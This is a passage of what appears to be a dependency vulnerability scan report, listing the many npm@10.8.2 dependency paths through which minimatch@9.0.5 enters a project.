  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmversion@6.0.3 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmversion@6.0.3 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmaccess@8.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmhook@10.0.5 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmorg@6.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpublish@9.0.9 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmsearch@7.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmteam@6.0.5 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › npm-profile@10.0.0 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpublish@9.0.9 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmversion@6.0.3 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpublish@9.0.9 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-packlist@8.0.2 › ignore-walk@6.0.5 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › @tufjs/models@2.0.1 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmpublish@9.0.9 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2 › minimatch@9.0.5
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2 › minimatch@9.0.5
